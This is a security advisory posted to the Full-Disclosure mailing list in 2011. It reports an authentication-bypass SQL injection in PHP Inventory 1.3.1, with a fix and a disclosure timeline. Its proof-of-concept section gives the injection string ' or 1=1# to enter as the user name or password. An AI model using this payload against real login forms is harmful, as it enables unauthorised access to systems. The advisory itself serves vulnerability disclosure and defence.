[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [Full-disclosure] PHP Inventory 1.3.1 Remote (Auth Bypass) SQL
From:       "Schurtz, Stefan" <S.Schurtz () infoserve ! de>
Date:       2011-11-30 15:45:26
Message-ID: F61B50453E15A044B82C311F6871F4B11C15952E () ismx01 ! int ! infoserve ! de
[Download RAW message or body]

Advisory:	 	PHP Inventory 1.3.1 Remote (Auth Bypass) SQL
Injection Vulnerability
Advisory ID:		INFOSERVE-ADV2011-08
Author:			Stefan Schurtz
Contact:			security@infoserve.de
Affected Software:	Successfully tested on PHP Inventory 1.3.1
Vendor URL:		http://www.phpwares.com/
Vendor Status:		fixed
CVE-ID:			CVE-2009-4595,CVE-2009-4596,CVE-2009-4597

==========================
Vulnerability Description
==========================

PHP Inventory is (still) prone to a SQL-Injection (Auth Bypass)
vulnerability

==================
PoC-Exploit
==================

http://[target]/php-inventory/index.php 

// with 'magic_quotes_gpc = Off'

USER NAME = ' or 1=1#

or

USER NAME = admin
PASSWORD = ' or 1=1#

=========
Solution
=========

Update to the latest version 1.3.2

====================
Disclosure Timeline
====================

29-Nov-2011 - informed vendor (contact form)
30-Nov-2011 - vendor fix

========
Credits
========

Vulnerabilitiy found and advisory written by the INFOSERVE security team.

===========
References
===========

http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-08.txt
http://www.exploit-db.com/exploits/10370/
http://secunia.com/advisories/37672/

Kind regards,
Stefan Schurtz | SECURE INFRASTRUCTURE

INFOSERVE GmbH | Am Felsbrunnen 15 | D-66119 Saarbrücken
Fon +49 (0)681 88008-52 | Fax +49 (0)681 88008-33 |
s.schurtz@infoserve.de | www.infoserve.de

Handelsregister: Amtsgericht Saarbrücken, HRB 11001 | Erfüllungsort:
Saarbrücken
Geschäftsführer: Dr. Stefan Leinenbach | Ust-IdNr.: DE168970599

["smime.p7s" (application/x-pkcs7-signature)]

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
--===============1198086695==--


[prev in list] [next in list] [prev in thread] [next in thread]